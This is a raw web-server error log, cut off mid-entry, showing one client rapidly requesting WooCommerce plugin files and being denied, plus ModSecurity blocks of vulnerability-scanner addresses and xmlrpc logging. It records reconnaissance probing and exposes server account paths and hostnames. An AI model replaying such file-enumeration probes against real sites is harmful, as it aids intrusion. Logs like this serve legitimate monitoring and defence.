/home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/walkers/class-product-cat-dropdown-walker.php [Sat Jun 13 18:14:58.861131 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-layered-nav-filters.php [Sat Jun 13 18:14:58.861876 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-layered-nav.php [Sat Jun 13 18:14:58.861933 2026] [access_compat:error] [pid 646876:tid 646981] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/walkers/class-product-cat-list-walker.php [Sat Jun 13 18:14:58.862670 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-recent-reviews.php [Sat Jun 13 18:14:58.863432 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-product-tag-cloud.php [Sat Jun 13 18:14:58.864167 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-top-rated-products.php [Sat Jun 13 18:14:58.864896 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-recently-viewed.php [Sat Jun 13 18:14:58.865611 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-product-search.php [Sat Jun 13 18:14:58.866340 2026] [access_compat:error] [pid 646876:tid 646970] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/auth/form-login.php [Sat Jun 13 18:14:58.866361 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-products.php [Sat Jun 13 18:14:58.867062 2026] [access_compat:error] [pid 646876:tid 646970] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/auth/form-grant-access.php [Sat Jun 13 18:14:58.867070 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-product-categories.php [Sat Jun 13 18:14:58.867782 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-cart.php [Sat Jun 13 18:14:58.867787 2026] [access_compat:error] [pid 646876:tid 646970] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/auth/footer.php [Sat Jun 13 18:14:58.868418 2026] [access_compat:error] [pid 646876:tid 646970] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/auth/header.php [Sat Jun 13 18:14:58.868456 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.3.php [Sat Jun 13 18:14:58.868511 2026] [access_compat:error] [pid 646876:tid 646980] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php [Sat Jun 13 18:14:58.869491 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.4.1.php [Sat Jun 13 18:14:58.870601 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.5.php [Sat Jun 13 18:14:58.871576 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.0.php [Sat Jun 13 18:14:58.872451 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.0.9.php [Sat Jun 13 18:14:58.873405 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.2.php [Sat Jun 13 18:14:58.874509 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.1.php [Sat Jun 13 18:14:58.875423 2026] [access_compat:error] [pid 646876:tid 646937] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/updates/woocommerce-update-2.4.php [Sat Jun 13 18:14:58.884196 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/mini-cart.php [Sat Jun 13 18:14:58.885278 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/cart.php [Sat Jun 13 18:14:58.886376 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/cart-totals.php [Sat Jun 13 18:14:58.887481 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/cart-empty.php [Sat Jun 13 18:14:58.888506 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/cart-item-data.php [Sat Jun 13 18:14:58.889647 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/shipping-calculator.php [Sat Jun 13 18:14:58.890743 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/cross-sells.php [Sat Jun 13 18:14:58.891827 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/cart-shipping.php [Sat Jun 13 18:14:58.892896 2026] [access_compat:error] [pid 646876:tid 646940] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/cart/proceed-to-checkout-button.php [Sat Jun 13 18:14:58.944486 2026] [security2:error] [pid 646876:tid 646953] [remote 17.22.245.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygtyTkdrNlD40tSGaZAAAM0o"] [Sat Jun 13 18:14:59.025642 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/terms.php [Sat Jun 13 18:14:59.026857 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/thankyou.php [Sat Jun 13 18:14:59.028089 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/form-billing.php [Sat Jun 13 18:14:59.029191 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/payment-method.php [Sat Jun 13 18:14:59.029574 2026] [access_compat:error] [pid 646876:tid 646976] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/global/breadcrumb.php [Sat Jun 13 18:14:59.030126 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/review-order.php [Sat Jun 13 18:14:59.030439 2026] [access_compat:error] [pid 646876:tid 646976] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/global/wrapper-end.php [Sat Jun 13 18:14:59.031110 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/form-checkout.php [Sat Jun 13 18:14:59.031333 2026] [access_compat:error] [pid 646876:tid 646976] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/global/form-login.php [Sat Jun 13 18:14:59.032166 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/form-login.php [Sat Jun 13 18:14:59.032296 2026] [access_compat:error] [pid 646876:tid 646976] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/global/quantity-input.php [Sat Jun 13 18:14:59.033223 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/form-shipping.php [Sat Jun 13 18:14:59.033241 2026] [access_compat:error] [pid 646876:tid 646976] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/global/wrapper-start.php [Sat Jun 13 18:14:59.033258 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-processing-order.php [Sat Jun 13 18:14:59.034064 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-addresses.php [Sat Jun 13 18:14:59.034108 2026] [access_compat:error] [pid 646876:tid 646976] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/global/sidebar.php [Sat Jun 13 18:14:59.034146 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/form-coupon.php [Sat Jun 13 18:14:59.035100 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-new-account.php [Sat Jun 13 18:14:59.035726 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/cart-errors.php [Sat Jun 13 18:14:59.036167 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/admin-failed-order.php [Sat Jun 13 18:14:59.036979 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/form-pay.php [Sat Jun 13 18:14:59.038015 2026] [access_compat:error] [pid 646876:tid 646989] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/checkout/payment.php [Sat Jun 13 18:14:59.038048 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/price.php [Sat Jun 13 18:14:59.039115 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/orderby.php [Sat Jun 13 18:14:59.040188 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/loop-end.php [Sat Jun 13 18:14:59.041196 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/pagination.php [Sat Jun 13 18:14:59.042264 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/no-products-found.php [Sat Jun 13 18:14:59.043326 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/add-to-cart.php [Sat Jun 13 18:14:59.044329 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/loop-start.php [Sat Jun 13 18:14:59.045322 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/sale-flash.php [Sat Jun 13 18:14:59.046109 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/rating.php [Sat Jun 13 18:14:59.046798 2026] [access_compat:error] [pid 646876:tid 646955] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/loop/result-count.php [Sat Jun 13 18:14:59.046981 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-note.php [Sat Jun 13 18:14:59.047733 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-reset-password.php [Sat Jun 13 18:14:59.048453 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-footer.php [Sat Jun 13 18:14:59.049159 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-order-details.php [Sat Jun 13 18:14:59.049880 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-order-items.php [Sat Jun 13 18:14:59.050588 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-invoice.php [Sat Jun 13 18:14:59.051272 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-customer-details.php [Sat Jun 13 18:14:59.051897 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-styles.php [Sat Jun 13 18:14:59.052086 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/my-orders.php [Sat Jun 13 18:14:59.052634 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/email-header.php [Sat Jun 13 18:14:59.052780 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/my-address.php [Sat Jun 13 18:14:59.053355 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-completed-order.php [Sat Jun 13 18:14:59.053630 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/form-lost-password.php [Sat Jun 13 18:14:59.054071 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/customer-refunded-order.php [Sat Jun 13 18:14:59.054502 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/view-order.php [Sat Jun 13 18:14:59.054770 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/admin-new-order.php [Sat Jun 13 18:14:59.055282 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/form-add-payment-method.php [Sat Jun 13 18:14:59.055550 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/admin-cancelled-order.php [Sat Jun 13 18:14:59.056001 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/form-login.php [Sat Jun 13 18:14:59.056772 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/my-downloads.php [Sat Jun 13 18:14:59.057611 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/form-edit-address.php [Sat Jun 13 18:14:59.058347 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/form-edit-account.php [Sat Jun 13 18:14:59.058989 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/myaccount/my-account.php [Sat Jun 13 18:14:59.194983 2026] [security2:error] [pid 646876:tid 647004] [remote 17.22.253.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yg9yTkdrNlD40tSGaeAAAAH0"] [Sat Jun 13 18:14:59.200608 2026] [access_compat:error] [pid 646876:tid 646978] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/notices/success.php [Sat Jun 13 18:14:59.200764 2026] [access_compat:error] [pid 646876:tid 646982] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/order/order-details-customer.php [Sat Jun 13 18:14:59.201590 2026] [access_compat:error] [pid 646876:tid 646978] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/notices/error.php [Sat Jun 13 18:14:59.201671 2026] [access_compat:error] [pid 646876:tid 646982] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/order/order-details-item.php [Sat Jun 13 18:14:59.202520 2026] [access_compat:error] [pid 646876:tid 646978] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/notices/notice.php [Sat Jun 13 18:14:59.202552 2026] [access_compat:error] [pid 646876:tid 646982] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/order/order-again.php [Sat Jun 13 18:14:59.203451 2026] [access_compat:error] [pid 646876:tid 646982] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/order/tracking.php [Sat Jun 13 18:14:59.204458 2026] [access_compat:error] [pid 646876:tid 646982] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/order/order-details.php [Sat Jun 13 18:14:59.204857 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/product-attributes.php [Sat Jun 13 18:14:59.205398 2026] [access_compat:error] [pid 646876:tid 646982] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/order/form-tracking.php [Sat Jun 13 18:14:59.205722 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/meta.php [Sat Jun 13 18:14:59.220865 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/short-description.php [Sat Jun 13 18:14:59.221619 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/price.php [Sat Jun 13 18:14:59.222255 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/up-sells.php [Sat Jun 13 18:14:59.222958 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/related.php [Sat Jun 13 18:14:59.223637 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/title.php [Sat Jun 13 18:14:59.224417 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/product-thumbnails.php [Sat Jun 13 18:14:59.225161 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/share.php [Sat Jun 13 18:14:59.225878 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/product-image.php [Sat Jun 13 18:14:59.226668 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/review.php [Sat Jun 13 18:14:59.227541 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/sale-flash.php [Sat Jun 13 18:14:59.228703 2026] [access_compat:error] [pid 646876:tid 647001] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/rating.php [Sat Jun 13 18:14:59.236748 2026] [security2:error] [pid 646876:tid 646885] [remote 17.246.23.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yg9yTkdrNlD40tSGafAAAVQY"] [Sat Jun 13 18:14:59.258077 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:14:59.258510 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:14:59.329051 2026] [security2:error] [pid 646876:tid 647050] [client 189.217.192.30:49903] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3yg9yTkdrNlD40tSGabwAAACo"] [Sat Jun 13 18:14:59.419475 2026] [security2:error] [pid 646876:tid 646882] [remote 195.250.23.247:41630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 